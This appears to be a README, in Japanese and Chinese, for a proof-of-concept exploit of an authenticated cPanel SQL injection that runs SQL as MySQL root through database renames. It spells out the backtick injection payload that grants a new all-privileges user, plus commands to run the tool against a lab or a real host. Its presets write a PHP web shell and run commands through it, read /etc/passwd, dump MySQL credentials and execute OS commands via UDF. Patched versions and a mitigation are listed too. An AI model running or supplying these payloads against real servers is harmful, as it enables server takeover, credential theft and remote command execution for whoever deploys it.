
安全研究项目
CVSS 4.0: 9.4(緊急) | CWE-89: SQLインジェクション | NVD
認証済み cPanel ユーザー → データベース名変更を介して MySQL root として任意の SQL を実行可能。
cPanel は root として名前変更操作を実行する際、ユーザーのセッション sql_mode(ANSI_QUOTES)を
不適切に保持します — データベース名に含まれるバッククォートが識別子から抜け出し、SQL を注入します。
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
ラボモードは自動検出されます — --lab フラグは不要です。
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
カスタム SQL: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
緩和策: アップグレードするか、cPanel ユーザーから MySQL 機能を無効化してください。
許可されたセキュリティテストおよび教育目的に限ります。
| Preset | Effect |
|---|
admin-user(デフォルト) | MySQL 管理者ユーザー rce を作成 |
compact-admin | 短い admin ペイロード(64 文字未満 — 実 cPanel の名前制限に適合。検証: r/p) |
webshell | INTO OUTFILE 経由で PHP シェルを書き込み(--shell /var/www/html/shell.php) |
read-file | LOAD_FILE 経由でサーバーファイルを読み取り(--file /etc/passwd) |
dump-users | すべての MySQL 資格情報を pwn.users にダンプ |
udf-rce | UDF 経由の OS コマンド実行 |